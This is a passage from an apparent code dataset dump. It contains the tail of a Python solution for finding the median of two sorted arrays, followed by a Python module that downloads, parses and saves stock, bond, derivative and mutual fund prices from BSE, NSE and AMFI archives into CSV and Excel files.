findMedianSortedArrays(self, nums1, nums2):\n \"\"\"\n :type nums1: List[int]\n :type nums2: List[int]\n :rtype: float\n \"\"\"\n length1 = len(nums1)\n length2 = len(nums2)\n k = (length1+length2)//2 #地板除\n if(length1 + length2) % 2 == 0: #合并后有偶数个元素，取第k个和第k-1个元素的平均值\n return (self.findK(nums1, nums2, k)+self.findK(nums1, nums2, k-1)) / 2\n else: #合并后有奇数个元素，直接去第k个元素\n return self.findK(nums1, nums2, k)\n \n #求解两个有序数组合并后的第k大的元素\n def findK(self, nums1, nums2, k):\n if not nums1: #nums为空的情况\n return nums2[k]\n if not nums2: #nums2为空的情况\n return nums1[k]\n if k == 0: #返回合并数组的第一个元素\n return min(nums1[0], nums2[0])\n \n length1 = len(nums1)\n length2 = len(nums2)\n if nums1[length1 // 2] > nums2[length2 // 2]:\n if k > length1 // 2 + length2 // 2: #第k个数不可能在B1\n return self.findK(nums1, nums2[length2//2 + 1:], k-length2 // 2 - 1)\n else: #第k个数不可能在A2\n return self.findK(nums1[:length1//2],nums2,k)\n else:\n if k > length1//2+length2//2: #第k个数不可能在A1\n return self.findK(nums1[length1//2+1:],nums2,k-length1//2-1)\n else: #第k个数不可能在B2\n return self.findK(nums1,nums2[:length2//2],k)\n \nif __name__ == \"__main__\":\n print(Solution().findMedianSortedArrays([1,2],[1,2,3]))\n print(Solution().findMedianSortedArrays([],[2,3]))\n print(Solution().findMedianSortedArrays([1, 2, 3],[4, 5, 6]))\n \n ","sub_path":"median_of_two_sorted_arrays.py","file_name":"median_of_two_sorted_arrays.py","file_ext":"py","file_size_in_byte":3152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"624798786","text":"#!/usr/bin/env python3\n\nfrom libs.ppsettings import pp_settings\n\nfrom libs.pptable import PpTable\nfrom libs.ppgetallweekend import get_all_week_ends\nfrom libs.exceptions import RequestError, CopyError\nfrom libs.ppstdlib import create_dir_if_not\n\nimport pandas as pd\nfrom pandas import ExcelWriter\nfrom datetime import datetime as dt, timedelta\nfrom bs4 import BeautifulSoup as bs\nimport io\nimport requests\nimport os\nimport sys,gc\nfrom shutil import copyfile\nimport zipfile\n\n\n\ndef diff_df(df_source, df_dest, compare_cols=[]):\n\t# try:\n\t# print(compare_cols)\n\tif compare_cols:\n\t\tif not df_source.empty:\n\n\t\t\t# make a new column compare for both data frame with the by making the column values into one\n\t\t\tif len(compare_cols) == 1:\n\t\t\t\tdf_source['compare'] = df_source[compare_cols]\n\t\t\t\tdf_dest['compare'] = df_dest[compare_cols]\n\t\t\telse:\n\t\t\t\tdf_source['compare'] = df_source[compare_cols].apply(\n\t\t\t\t\tlambda x: ''.join(x), axis=1)\n\t\t\t\tdf_dest['compare'] = df_dest[compare_cols].apply(\n\t\t\t\t\tlambda x: ''.join(x), axis=1)\n\n\t\t\t# find all difference securities from new to existence\n\t\t\tnew_symbol = set(df_source.groupby('compare').groups.keys(\n\t\t\t)) - set(df_dest.groupby('compare').groups.keys())\n\n\t\t\t\"\"\" print(len(df_dest.groupby('compare').groups.keys()))\n\t\t\tprint(len(df_source.groupby('compare').groups.keys()))\n\n\t\t\tprint(new_symbol) \"\"\"\n\t\t\t# selecting only diffent securites\n\t\t\tdf_source = df_source[df_source['compare'].isin(list(new_symbol))]\n\n\t\t\t# drop the compare column\n\t\t\tdf_source = df_source.drop('compare', axis=1)\n\t\t\"\"\" else:\n\t\t\t# Handle exception\n\texcept:\n\t\t# my exception message\n\telse: \"\"\"\n\treturn df_source\n\n\ndef save_if(filename, df_new, compare_cols=[], doDiff=True, ignoreExist=False):\n\n\tif ignoreExist:\n\t\tif os.path.exists(filename):\n\t\t\tprint(\"{} already exist. Ignoring save....\".format(filename))\n\t\t\treturn\n\n\theader = True\n\tappend_write = 'w+'\n\tif doDiff:\n\t\tdf_exist = pd.DataFrame()\n\t\tappend_write = 'a' # append if already exists\n\t\theader = False\n\t\tif not os.path.exists(filename):\n\t\t\theader = True\n\t\t\topen(filename, \"w\") # make a new file if not\n\t\telse:\n\t\t\tdf_exist = pd.read_csv(filename, dtype=str, keep_default_na=False)\n\t\t\tdf_new = diff_df(df_new, df_exist, compare_cols)\n\n\tif not df_new.empty:\n\t\tdf_new.to_csv(filename, mode=append_write, index=False, header=header)\n\t\tprint(\"data has been saved successfully into {}\".format(filename))\n\t\treturn filename\n\treturn \"\"\n\n\ndef load_data_frame(filename, hardcheck=False):\n\tdf = pd.DataFrame()\n\ttry:\n\t\tif os.path.exists(filename):\n\t\t\tdf = pd.read_csv(filename, dtype=str, keep_default_na=False)\n\t\telse:\n\t\t\tif hardcheck:\n\t\t\t\traise OSError\n\t\t\telse:\n\t\t\t\treturn df\n\texcept OSError:\n\t\tprint('Source Path not found:', filename)\n\t\traise\n\telse:\n\t\treturn df\n\n# parent class\n\n\nclass PpSecurity:\n\turl = \"\"\n\tcolumns = []\n\tsettings = {}\n\texchange = \"\"\n\tmain_df = pd.DataFrame()\n\trawoutput = \"\"\n\tppoutput = \"\"\n\tcallPriFunc = \"\"\n\tmisspri = []\n\n\tdef set_url(self, url):\n\t\tif not url:\n\t\t\traise Exception('undefined url')\n\t\tself.url = url\n\t\t# print(self.url)\n\n\tdef __init__(self, edate, fdate=\"\"):\n\n\t\tself.settings = pp_settings()[self.exchange]\n\n\t\turl = self.settings[\"url\"][\"current\"].format(\n\t\t\tdt.strptime(edate, '%m%d%Y').strftime(\"%d%m%Y\"))\n\n\t\tif fdate != \"\":\n\t\t\tfdate, edate = edate, fdate\n\t\t\turl = self.settings[\"url\"][\"hist\"].format(dt.strptime(fdate, '%m%d%Y').strftime(\"%d-%b-%Y\"),\n\t\t\t\t\t\t\t\t\t\t\t\t\t dt.strptime(edate, '%m%d%Y').strftime(\"%d-%b-%Y\"))\n\n\t\tprint(url)\n\t\tself.set_url(url)\n\n\tdef copy_price(self, source, dest,intoDir=''):\n\n\t\tsource = self.settings['path']['pp']+intoDir+source+\".csv\"\n\t\tdest = self.settings['path']['pp']+intoDir+dest+\".csv\"\n\t\tif not os.path.exists(source):\n\t\t\traise CopyError('701', source)\n\t\tsource_df = pd.read_csv(source, delimiter=' *, *', engine='python',\n\t\t\t\t\t\t\t\tkeep_default_na=False, dtype=str)\n\n\t\tif not os.path.exists(dest):\n\t\t\t# adding exception handling\n\t\t\ttry:\n\t\t\t\tcopyfile(source, dest)\n\t\t\texcept IOError as e:\n\t\t\t\traise CopyError('703', e)\n\t\t\texcept:\n\t\t\t\traise CopyError('703', sys.exc_info())\n\t\t\t\n\t\telse:\n\t\t\tdest_df = pd.read_csv(dest, delimiter=' *, *', engine='python',\n\t\t\t\t\t\t\t\tkeep_default_na=False, dtype=str)\n\t\t\t\n\t\t\t# print(dest_df.info())\n\t\t\t# print(source_df[~source_df.symbol.isin(dest_df.symbol)].info())\n\t\t\tdest_df = pd.concat([dest_df,source_df[~source_df.symbol.isin(dest_df.symbol)]],ignore_index=True)\n\t\t\tdest_df.to_csv(dest, mode=\"w+\", index=False)\n\t\t\t# print(dest_df.info())\n\t\t\t# print(source_df.info())\n\n\t\t# pd.concat([sat, fri[~fri.symbol.isin(sat.symbol)]], ignore_index=True)\n\n\t\t\n\n\t\t# print()\n\t\t# print(self.settings['path']['pp']+dest+\".csv\")\n\n\n\n\t\"\"\"\n\tIn the event of a network problem (e.g. DNS failure, refused connection, etc), Requests will raise a ConnectionError exception.\n\n\tIn the event of the rare invalid HTTP response, Requests will raise an HTTPError exception.\n\n\tIf a request times out, a Timeout exception is raised.\n\n\tIf a request exceeds the configured number of maximum redirections, a TooManyRedirects exception is raised.\n\n\tAll exceptions that Requests explicitly raises inherit from requests.exceptions.RequestException\n\t\"\"\"\n\n\tdef request_url(self, url, stream = False):\n\t\tprint(\"Downloading from {}\".format(url))\n\t\ttry:\n\t\t\tif not stream:\n\t\t\t\tr = requests.get(url)\n\t\t\t\tr.raise_for_status()\n\t\t\t\treturn r.content\n\t\t\telse:\n\t\t\t\tr = requests.get(url,stream=True)\n\t\t\t\tr.raise_for_status()\n\t\t\t\treturn r\n\t\texcept requests.exceptions.ConnectionError as e:\n\t\t\tprint(\"connection error {} \".format(url))\n\t\t\traise RequestError('401', url)\n\t\texcept requests.exceptions.HTTPError as e:\n\t\t\tprint(\"HTTP error {} \".format(url))\n\t\t\tself.misspri.append(url);\n\t\t\traise RequestError('402', url)\n\t\texcept requests.exceptions.Timeout as e:\n\t\t\tprint(\"Timeout error {} \".format(url))\n\t\t\traise RequestError('403', url)\n\t\texcept requests.exceptions.TooManyRedirects as e:\n\t\t\tprint(\"Too Many Redirects error {} \".format(url))\n\t\t\traise RequestError('404', url)\n\t\texcept requests.exceptions.RequestException as e:\n\t\t\tprint(\"Request Exception error {} \".format(url))\n\t\t\traise RequestError('405', url)\n\n\tdef show(self):\n\t\tprint(self.main_df)\n\n\tdef save(self, isCopyRaw=True, doDiff=False, saveOnly=\"\", includeTime=False,intoDir = ''):\n\n\t\tprint(\"Saving prices ....\")\n\t\tif self.main_df.empty:\n\t\t\tprint(\"The Downloaded file doesn't contains records\")\n\t\t\treturn\n\t\t\n\t\t# raw_df_columns = []\n\t\traw_df_columns=self.settings[\"ppformat\"].keys()\n\t\t\n\t\tfor k, df_new in self.main_df.groupby(self.settings[\"saveby\"]):\n\t\t\tdf_new=df_new.reset_index(drop=True)\n\t\t\tdateKey=dt.strptime(\n\t\t\t\tk.strip(), \"%d-%b-%Y\").strftime(\"%m%d%Y\")\n\t\t\tif saveOnly != \"\":\n\t\t\t\tif (dateKey == saveOnly):\n\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\tcontinue\n\t\t\trawPath=self.settings[\"path\"]['raw']\n\t\t\tppPath=self.settings[\"path\"]['pp']\n\n\n\t\t\tif intoDir != '':\n\t\t\t\trawPath += intoDir\n\t\t\t\tppPath += intoDir\n\t\t\t\tcreate_dir_if_not(rawPath)\n\t\t\t\tcreate_dir_if_not(ppPath)\n\t\t\t\trawPath += '/'\n\t\t\t\tppPath += '/'\n\t\t\t\t\n\n\t\t\trawPath += dateKey\n\t\t\tppPath += dateKey\n\t\t\t\n\t\t\tif includeTime:\n\t\t\t\ttimestr=dt.now().strftime(\"%H:%M:%S\")\n\t\t\t\trawPath += \"_\" + timestr\n\t\t\t\tppPath += \"_\" + timestr\n\t\t\t\n\t\t\tif isCopyRaw:\n\t\t\t\tself.rawoutput=save_if(rawPath + \".csv\", df_new, doDiff, ignoreExist=True)\n\t\t\tself.ppoutput=save_if(ppPath+\".csv\", df_new[list(raw_df_columns)].rename(columns=self.settings[\"ppformat\"]),\n\t\t\t\t self.settings['duplicate'], doDiff)\n\n\tdef fill_holiday(self, edate):\n\t\tdestpath=self.settings[\"path\"]['pp'] + edate + \".csv\"\n\t\tedate=dt.strptime(edate, '%m%d%Y')\n\n\t\tadjustment={5: -1, 6: -2}.get(edate.weekday())\n\t\tif adjustment:\n\t\t\tedate += timedelta(days=adjustment)\n\n\t\tdf_exist=load_data_frame(\n\t\t\tself.settings[\"path\"]['pp'] + edate.strftime(\"%m%d%Y\") + \".csv\", hardcheck=True)\n\n\t\t# print(destpath)\n\t\theader=True\n\t\tdf_new=pd.DataFrame()\n\t\tif os.path.exists(destpath):\n\t\t\theader=False\n\n\t\tdf_new=load_data_frame(destpath)\n\n\t\tif df_new.empty:\n\t\t\tdf_new=df_exist\n\t\telse:\n\t\t\tdf_new=diff_df(df_exist, df_new, self.settings['duplicate'])\n\t\tif not df_new.empty:\n\t\t\tdf_new.to_csv(destpath, mode='a+', index=False, header=header)\n\t\t\tprint(\"data has been saved successfully into {}\".format(destpath))\n\n\tdef read_csv(self, path):\n\t\tself.main_df=pd.read_csv(path, delimiter=' *, *', engine='python', keep_default_na=False,\n\t\t\t\t\t\t\t\t\t\t\tdtype=str)\n\t\t# self.main_df = self.main_df.str.strip()\n\n\tdef make_spread_sheet(self, sourcedf=None, storein=\"\", groupby=\"\", sheetname=\"\"):\n\n\t\tsourcedf=self.main_df if sourcedf is None else sourcedf\n\t\tstorein=\"output\" if storein == \"\" else storein\n\t\tsheetname=\"sheet\" if sheetname == \"\" else sheetname\n\n\t\txlwriter=ExcelWriter(storein+'.xlsx')\n\n\t\tif not groupby:\n\t\t\tsourcedf.to_excel(xlwriter, sheetname)\n\t\telse:\n\t\t\tclass MyError(Exception):\n \t\t\t\t# Constructor or Initializer\n\t\t\t\tdef __init__(self, value):\n\t\t\t\t\tself.value=value\n\n\t\t\t\t# __str__ is to print() the value\n\t\t\t\tdef __str__(self):\n\t\t\t\t\treturn(repr(self.value))\n\n\t\t\ttry:\n\t\t\t\tif groupby not in sourcedf.columns:\n\t\t\t\t\traise(MyError(groupby))\n\n\t\t\t# Value of Exception is stored in error\n\t\t\texcept MyError as error:\n\t\t\t\tprint('A New Exception occured: ', error.value)\n\t\t\t\tsys.exit()\n\t\t\telse:\n\t\t\t\tif not sourcedf.empty:\n\t\t\t\t\tsourcedf=sourcedf.groupby(groupby)\n\t\t\t\t\tfor key in sourcedf.groups:\n\t\t\t\t\t\tsourcedf.get_group(key).to_excel(xlwriter, key)\n\t\t\t\t\txlwriter.save()\n\t\t\t\t\tprint(\"{} has been created successfully...\".format(storein))\n\t\t\t\telse:\n\t\t\t\t\treturn []\n\n\n\t\tif groupby:\n\t\t\treturn sourcedf.groups\n\t\treturn []\n\n\tdef update_log(self,log_string=''):\n\t\tlogfile = self.settings['path']['raw'] + self.settings['log']\n\t\twith open(logfile,'a+') as fp:\n\t\t\tfp.write('{}\\t{}\\n'.format(dt.now().strftime('%m%d%Y %H:%M:%S'),self.url))\n\t\t\t\n\tdef clrDF(self):\n\t\tif not self.main_df.empty:\n\t\t\tdel self.main_df\n\t\t\tgc.collect()\n\t\t\tself.main_df = pd.DataFrame()\n\t\t\t\n\tdef UnZipBB(self,edate):\n\t\t#UnZip Bse Bond\n\t\tbdf = pd.DataFrame()\n\t\tr = self.request_url(self.url,True)\n\t\tif r.ok :\n\t\t\tzip_ref = zipfile.ZipFile(io.BytesIO(r.content))\n\t\t\tfor zipinfo in zip_ref.infolist():\n\t\t\t\tflName = zipinfo.filename\n\t\t\t\tdf = pd.read_csv(zip_ref.open(flName)).dropna(axis='columns', how = \"all\")\n\t\t\t\tif flName[:3] == \"wdm\":\n\t\t\t\t\tdf = df.rename(columns ={\"Scrip Code\": \"Security_cd\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"Close Price\": \"LTP\"})\n\t\t\t\t\tdf['ISIN No.'] = df.apply(lambda row: row.Security_cd , axis = 1)\n\t\t\t\telif flName[:4] == \"icdm\":\n\t\t\t\t\tdf = df.rename(columns ={\"Security Code\":\"Security_cd\", \n\t\t\t\t\t\t\t\t\t\t\t\"Face Value\": \"FACE VALUE\"})\n\t\t\t\telif flName[:6] == \"fgroup\":\n\t\t\t\t\tdf['LTP'] = df.apply(lambda row: (row['Close Price']/row['FACE VALUE'])*100 , axis = 1)\n\t\t\t\t\t\n\t\t\t\tdf['TRADING_DATE'] = edate.strftime('%d-%b-%Y')\n\t\t\t\tbdf = bdf.append(df,sort=False)\n\t\t\tzip_ref.close()\n\t\t\treturn bdf\n\t\telse :\n\t\t\tprint (\"Unable to unzip the Http response {}\".format(self.url))\n\t\n\tdef Unzip(self,flName):\n\t\tr = self.request_url(self.url,True)\n\t\tif r.ok :\n\t\t\tzip_ref = zipfile.ZipFile(io.BytesIO(r.content))\n\t\t\tdf = pd.read_csv(zip_ref.open(flName)).dropna(axis='columns', how = \"all\")\n\t\t\tzip_ref.close()\n\t\t\treturn df\n\t\telse :\n\t\t\tprint (\"Unable to unzip the Http response {}\".format(self.url))\n\t\t\n\tdef NseF(self,edate):\n\t\turl = \"https://archives.nseindia.com/content/historical/DERIVATIVES/{}/{}/{}.zip\";\n\t\tmon = edate.strftime(\"%^b\")\n\t\tflName = \"fo{}{}{}bhav.csv\".format(edate.strftime(\"%d\"),mon,edate.year);\n\t\tself.url = url.format(edate.year,mon,flName)\n\t\tdframe = self.Unzip(flName)\n\t\tself.main_df = self.main_df.append(dframe,sort=False)\n\t\t\n\tdef NseB(self,edate):\n\t\tself.url = \"https://archives.nseindia.com/archives/debt/cbm/cbm_trd{}.csv\".format(edate.strftime(\"%Y%m%d\"))\n\t\tdframe = pd.read_csv(io.StringIO(self.request_url(\n\t\t\tself.url).decode('utf-8')), delimiter=' *, *', engine='python', keep_default_na=False, dtype=str)\n\t\tself.main_df = self.main_df.append(dframe,sort=False)\n\t\t\n\tdef BseB(self,edate):\n\t\tself.url = \"https://www.bseindia.com/download/Bhavcopy/Debt/DEBTBHAVCOPY{}.zip\".format(edate.strftime(\"%d%m%Y\"))\n\t\tdframe = self.UnZipBB(edate)\n\t\tself.main_df = self.main_df.append(dframe,sort=False)\n\n\tdef BseE(self,edate):\n\t\tisin = dt.strptime(\"12312016\",'%m%d%Y')\n\t\turl = \"https://www.bseindia.com/download/BhavCopy/Equity/EQ\"\n\t\tflNme = \"EQ\"\n\t\tpdate = edate.strftime('%d%m%-y')\n\t\tif edate >= isin :\n\t\t\tflNme += \"_ISINCODE_\" + pdate + \".CSV\"\n\t\t\tself.url = url + \"_ISINCODE_\" + pdate + \".zip\"\n\t\t\tdframe = self.Unzip(flNme)\n\t\telse :\n\t\t\tflNme += pdate + \".CSV\"\n\t\t\tself.url = url + pdate + \"_CSV.zip\"\n\t\t\tdframe = self.Unzip(flNme)\n\t\t\t#The below columns available when you download the file using ISIN code\n\t\t\tdframe['ISIN_CODE'] = dframe.apply(lambda row: row.SC_CODE , axis = 1)\n\t\t\t\n\t\t\n\t\t# if 'TRADING_DATE' not in dframe.columns:\n\t\tdframe['TRADING_DATE'] = edate.strftime('%d-%b-%Y')\n\t\t\t\n\t\tself.main_df = self.main_df.append(dframe,sort=False)\n\t\t\n\t\t\n\tdef DPrice(self,edate):\n\t\tif not edate:\n\t\t\tprint(\"Enter date you would like to download the price.\")\n\t\t\tsys.exit(0)\n\t\ttry:\n\t\t\tif self.callPriFunc == \"BE\":\n\t\t\t\tself.BseE(edate)\n\t\t\telif self.callPriFunc == \"BB\":\n\t\t\t\tself.BseB(edate)\n\t\t\telif self.callPriFunc == \"NB\":\n\t\t\t\tself.NseB(edate)\n\t\t\telif self.callPriFunc == \"NF\":\n\t\t\t\tself.NseF(edate)\n\t\texcept:\n\t\t\tprint(\"Fail to Download {}\".format(self.url))\n\t\n\tdef DHistPrice(self,edate,fdate):\n\t\tif not edate and not fdate:\n\t\t\tprint(\"Enter one date you would like to download the price.\")\n\t\t\tsys.exit(0)\n\t\t\n\t\tedate = dt.strptime(edate, '%m%d%Y')\n\t\tfdate = dt.strptime(fdate, '%m%d%Y')\n\t\tinc = timedelta(1)\n\t\twhile edate <= fdate :\n\t\t\tself.DPrice(edate)\n\t\t\tedate += inc\n# child class\n\n\nclass PpBse(PpSecurity):\n\tdef __init__(self, edate=\"\"):\n\t\tself.exchange=\"bse\"\n\t\tself.settings=pp_settings()[self.exchange]\n\t\t\n\tdef suck_E(self, edate, fdate=\"\"):\n\t\tprint(\"Download Prices For Equities\")\n\t\tself.clrDF()\n\t\tself.callPriFunc = 'BE'\n\t\tif fdate:\n\t\t\tself.DHistPrice(edate,fdate)\n\t\telse:\n\t\t\tedate = dt.strptime(edate, '%m%d%Y')\n\t\t\tself.DPrice(edate)\n\t\t\n\tdef suck_B(self,edate,fdate=\"\"):\n\t\tprint(\"Download Historical Prices For Bonds\")\n\t\tself.clrDF()\n\t\tself.callPriFunc = 'BB'\n\t\tif fdate:\n\t\t\tself.DHistPrice(edate,fdate)\n\t\telse:\n\t\t\tedate = dt.strptime(edate, '%m%d%Y')\n\t\t\tself.DPrice(edate)\n\t\t\n\t\tbondSett = self.settings[\"saveBy\"][\"BO\"]\n\t\tself.settings[\"ppformat\"] = bondSett[\"ppformat\"];\n\t\n\tdef cpyPri(self,fdate,tdate):\n\t\tself.copy_price(fdate,tdate)\n\t\tself.copy_price(fdate,tdate,\"bond/\")\n\n# child class\nclass PpAmfi(PpSecurity):\n\n\tdelim=';'\t\t\t# by default delim is ';'\n\n\t# def __init__(self):\n\t# self.exchange = \"amfi\"\n\t# self.settings = ppsettings()[self.exchange]\n\n\tdef __init__(self, edate=\"\", fdate=\"\"):\n\t\tself.exchange=\"amfi\"\n\n\t\tif not edate and not fdate:\n\t\t\tself.settings=pp_settings()[self.exchange]\n\t\telse:\n\t\t\tif fdate:\n\t\t\t\tsuper().__init__(edate, fdate)\n\t\t\telse:\n\t\t\t\tsuper().__init__(edate)\n\n\tdef suck(self):\n\t\t# print(\"downloading prices from \" + self.url + \"....\")\n\t\tself.__soup=bs(self.request_url(self.url).decode('utf-8'), \"lxml\")\n\t\tself.rowsep=\"\\r\\n\"\n\t\tcore_path = self.settings['path']['raw'] + 'core/' + dt.now().strftime(\"%m%d%Y_%H:%M:%S\")+\".txt\"\n\t\twith open(core_path,'w+') as fp:\n\t\t\tfp.write(self.__soup.text)\n\n\t\t# self.__soup = bs(self.requesturl(\"\").decode('utf-8'),\"lxml\")\n\n\tdef read(self, path):\n\t\ttry:\n\t\t\tf=open(path, \"r\")\n\t\texcept IOError:\n\t\t\tprint(\"Could not read file:\", path)\n\t\t\tsys.exit()\n\t\twith f:\n\t\t\tself.__soup=bs(f.read(), \"lxml\")\n\t\t\tself.rowsep=\"\\n\"\n\n\tdef parse(self):\n\n\t\tprint(\"Parsing prices ....\")\n\t\tself.delim=self.settings[\"delim\"]\n\t\tscheme_type=\"\"\n\t\tscheme_category=\"\"\n\t\tscheme_house=\"\"\n\t\tscheme_type_list=[\"Open\", \"Close\", \"Interval\"]\n\t\tdtable=[]\n\t\tif self.__soup.text:\n\n\t\t\tallLines=self.__soup.text.split(self.rowsep)\n\n\t\t\t# set column from the source data\n\t\t\tif self.delim in allLines[0]:\n\t\t\t\tself.columns=[column.strip()\n\t\t\t\t\t\t\t\tfor column in allLines[0].split(self.delim)]\n\n\t\t\t# print(self.columns)\n\n\t\t\t# parse data lines one by one\n\t\t\tfor line in allLines[1:]:\n\t\t\t\tif line.strip():\t\t\t\t\t\t\t\t# check if line is empty\n\t\t\t\t\tif self.delim in line:\t\t\t\t\t\t\t# checking the line is data row\n\t\t\t\t\t\t# Split data line into a list by delim\n\t\t\t\t\t\trow=line.split(self.delim)\n\t\t\t\t\t\trow.append(scheme_type)\n\t\t\t\t\t\trow.append(scheme_category)\n\t\t\t\t\t\trow.append(scheme_house)\n\t\t\t\t\t\tif len(row) == 10:\n\t\t\t\t\t\t\tprint(line)\n\t\t\t\t\t\tdtable.append(row)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# checking the line is Scheme Type and Scheme category\n\t\t\t\t\t\tif '(' in line and ')' in line and any(stype in line for stype in scheme_type_list):\n\t\t\t\t\t\t\tscheme_type=line.split('(', 1)[0].strip()\n\t\t\t\t\t\t\tscheme_category=line.split(\n\t\t\t\t\t\t\t\t'(', 1)[1].split(')')[0].strip()\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tscheme_house=line\n\n\t\t\t# Extend columns for 3 extra columns\n\t\t\tself.columns.extend(self.settings[\"extend\"])\n\n\t\t\t# print(dtable)\n\t\t\t# print(self.columns)\n\t\t\t\n\t\t\t# Make dataframe on parsing mode\n\t\t\tself.main_df=pd.DataFrame(dtable, columns=self.columns)\n\t\t\tdup_rows = []\n\t\t\tself.main_df = self.main_df.rename(columns={\"ISIN Div Payout/ISIN Growth\": \"ISIN\"})\n\t\t\tfor index,row in self.main_df.iterrows():\n\t\t\t\tif row['ISIN'].strip() == '-' or row['ISIN'].strip() == \"\" :\n\t\t\t\t\tif row['ISIN Div Reinvestment'].strip():\n\t\t\t\t\t\trow['ISIN'] = row['ISIN Div Reinvestment']\n\t\t\t\t\telse:\n\t\t\t\t\t\trow['ISIN'] = row['Scheme Code']\n\t\t\t\telif len(row['ISIN Div Reinvestment']) == 12:\n\t\t\t\t\tdupRow = row.copy()\n\t\t\t\t\tdupRow['ISIN'] = dupRow['ISIN Div Reinvestment']\n\t\t\t\t\tdup_rows.append(dupRow.values)\n\t\t\t\n\t\t\tself.main_df = self.main_df.append(pd.DataFrame(dup_rows, columns=self.main_df.columns))\t\t\t\t\t\t\t\t\t\n\t\t\tself.main_df['type'] = \"mf\"\n\t\t\tdel dup_rows\n\t\t\n\tdef cpyPri(self,fdate,tdate):\n\t\tself.copy_price(fdate,tdate)\n\t\t\n\tdef DLPrice(self):\n\t\ttry:\n\t\t\tself.suck()\n\t\t\tself.parse()\n\t\t\tself.save(isCopyRaw=True)\n\t\texcept:\n\t\t\tself.misspri.append(\"AMFI fail to download {}\".format(self.url))\n\t\t\t# print(\"Fail to download\")\n\nclass PpNse(PpSecurity):\n\n\tdef __init__(self, edate=\"\"):\n\t\tself.exchange=\"nse\"\n\t\t\n\t\tif not edate:\n\t\t\tself.settings=pp_settings()[self.exchange]\n\t\telse:\n\t\t\tsuper().__init__(edate)\n\n\tdef suck(self):\n\t\tself.main_df=pd.read_csv(io.StringIO(self.request_url(\n\t\t\tself.url).decode('utf-8')), delimiter=' *, *', engine='python', keep_default_na=False, dtype=str)\n\t\t# self.main_df = pd.read_csv('/home/bharath/Downloads/out.csv', sep=\",\")\n\t\t\n\tdef suck_EQ_Hist(self, edate, fdate):\n\t\tprint(\"Download Historical Prices For Equities\")\n\t\tif not edate and not fdate:\n\t\t\tprint(\"There mush be a From and To Dates for downloading price for the range.\")\n\t\t\tsys.exit(0)\n\t\t\t\n\t\tedate = dt.strptime(edate, '%m%d%Y')\n\t\tfdate = dt.strptime(fdate, '%m%d%Y')\n\t\t\n\t\t# Downloading a range of Historical Price\n\t\tfrom nsepy.history import get_price_list\n\t\tinc = timedelta(1)\n\t\t\n\t\tdframe = pd.DataFrame();\n\t\t\t\t\n\t\twhile edate <= fdate:\n\t\t\ttry:\n\t\t\t\tdframe = get_price_list(dt=edate)\n\t\t\t\tself.main_df = self.main_df.append(dframe,sort=False)\n\t\t\texcept:\n\t\t\t\tprint (\"Cannot be download Price file for the date {}.\".format(edate))\n\t\t\t\tself.misspri.append(\"NSE EQ FRange {}\".format(edate))\n\t\t\tedate += inc\n\t\t\n\t\teqSett = self.settings[\"saveBy\"][\"EQ\"]\n\t\tself.settings[\"saveby\"] = eqSett[\"saveby\"];\n\t\tself.settings[\"ppformat\"] = eqSett[\"ppformat\"];\n\t\t# self.main_df=self.main_df.rename(columns = {'CLOSE':'CLOSE_PRICE'})\n\t\t\n\tdef suck_B(self,edate,fdate=\"\"):\n\t\tprint(\"Download Historical Prices For Bonds\")\n\t\tif not edate and not fdate:\n\t\t\tprint(\"There mush be an Date for which you wish to downloading price.\")\n\t\t\tsys.exit(0)\n\t\t\n\t\tself.clrDF()\n\t\tself.callPriFunc = 'NB'\n\t\tif fdate:\n\t\t\tself.DHistPrice(edate,fdate)\n\t\telse:\n\t\t\tedate = dt.strptime(edate, '%m%d%Y')\n\t\t\tself.DPrice(edate)\n\t\t\n\t\tif len(self.main_df.columns) > 2 :\n\t\t\tself.main_df.insert(2,\"SERIES\",\"BO\")\n\t\telse:\n\t\t\tprint(\"File Not Found\")\n\t\t\tself.main_df = pd.DataFrame();\n\t\t\t\t\n\t\tbondSett = self.settings[\"saveBy\"][\"BO\"]\n\t\tself.settings[\"saveby\"] = bondSett[\"saveby\"];\n\t\tself.settings[\"ppformat\"] = bondSett[\"ppformat\"];\n\t\t# self.settings['path'] = bondSett['path']\t\t\n\t\t\n\tdef suck_I(self,edate,fdate=\"\"):\n\t\tprint(\"Download Historical Prices For Future and Option\")\n\t\tself.clrDF()\n\t\tself.callPriFunc = 'NF'\n\t\tif fdate:\n\t\t\tself.DHistPrice(edate,fdate)\n\t\telse:\n\t\t\tedate = dt.strptime(edate, '%m%d%Y')\n\t\t\tself.DPrice(edate)\n\t\t\n\t\tif not self.main_df.empty:\n\t\t\t# self.main_df['SYMB'] = self.main_df.apply(lambda row: row.SYMBOL + dt.strptime(row.EXPIRY_DT,\"%d-%b-%Y\").strftime(\"%m%d%Y\") + str(row.STRIKE_PR), axis = 1)\n\t\t\tself.main_df['EXPIRY_DT'] = self.main_df.apply(lambda row: dt.strptime(row.EXPIRY_DT,\"%d-%b-%Y\").strftime(\"%m%d%Y\") , axis = 1)\n\t\t\n\t\toptSett = self.settings[\"saveBy\"][\"OP\"]\n\t\tself.settings[\"saveby\"] = optSett[\"saveby\"];\n\t\tself.settings[\"ppformat\"] = optSett[\"ppformat\"];\n\t\t\n\tdef update_holiday(self):\n\n\t\t# read holiday list from central repo\n\t\tholidaydf=pd.read_csv(self.settings[\"holiday-path\"], sep=\"\\t\")\n\t\tholidaydf['Date']=pd.to_datetime(\n\t\t\tholidaydf['Date'], format='%d-%b-%Y').dt.strftime('%m%d%Y')\n\n\t\t# read PP holiday schedule information to get exchange number\n\t\tholsc_obj=PpTable(\"holsched.inf\")\n\t\tholsc_df=holsc_obj.getdata()\n\t\tholsc_df.name=holsc_df.name.str.lower()\n\t\texchange_no=holsc_df.loc[holsc_df['name']\n\t\t\t\t\t\t\t\t == self.exchange].hshed.iloc[0]\n\n\t\t# load Prism Holiday Information\n\t\thol_obj=PpTable(\"holidayb.inf\")\n\t\thol_df=hol_obj.getdata()\n\n\t\thol_dict={}\n\t\tfor item in hol_obj.dfidx.fcode.values:\n\t\t\tif item == \"hdate\":\n\t\t\t\thol_dict[item]=holidaydf.Date\n\t\t\tif item == \"htype\":\n\t\t\t\thol_dict[item]=[1 for i in range(len(holidaydf))]\n\t\t\tif item == \"hshed\":\n\t\t\t\thol_dict[item]=[exchange_no for i in range(len(holidaydf))]\n\n\t\t# create new holiday dataframe from central 